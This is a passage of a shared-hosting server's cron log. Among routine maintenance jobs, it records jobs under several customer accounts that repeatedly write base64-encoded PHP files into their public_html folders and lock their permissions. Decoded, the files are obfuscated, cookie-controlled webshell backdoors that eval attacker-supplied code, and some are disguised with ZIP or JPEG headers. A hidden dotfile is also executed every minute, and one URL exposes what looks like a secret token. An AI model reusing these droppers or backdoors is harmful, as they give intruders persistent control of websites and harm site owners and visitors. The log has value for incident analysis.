 | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:47:02 medusa CROND[29301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:48:01 medusa CROND[21540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:48:01 medusa CROND[21566]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:48:02 medusa CROND[21673]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:48:02 medusa CROND[21675]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:48:02 medusa CROND[21676]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:48:02 medusa CROND[21677]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:48:02 medusa CROND[21680]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:48:02 medusa CROND[21681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:48:02 medusa CROND[21683]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:48:02 medusa CROND[21684]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:48:02 medusa CROND[21685]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:48:02 medusa CROND[21686]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:48:02 medusa CROND[21687]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:49:01 medusa CROND[13641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:49:01 medusa CROND[13642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:49:01 medusa CROND[13643]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:49:01 medusa CROND[13644]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:49:01 medusa CROND[13645]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:49:01 medusa CROND[13646]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:49:01 medusa CROND[13648]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:49:01 medusa CROND[13649]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:49:01 medusa CROND[13650]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:49:01 medusa CROND[13659]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:49:01 medusa CROND[13662]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:49:01 medusa CROND[13658]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:50:01 medusa CROND[6370]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:50:01 medusa CROND[6374]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:50:01 medusa CROND[6375]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:50:01 medusa CROND[6376]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:50:01 medusa CROND[6377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:50:01 medusa CROND[6412]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:50:02 medusa CROND[6429]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:50:02 medusa CROND[6491]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:50:02 medusa CROND[6512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:50:02 medusa CROND[6521]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:50:02 medusa CROND[6528]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:50:02 medusa CROND[6529]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 14:50:02 medusa CROND[6527]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:50:02 medusa CROND[6530]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:50:02 medusa CROND[6531]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:50:02 medusa CROND[6532]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:50:02 medusa CROND[6534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 14:50:02 medusa CROND[6535]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
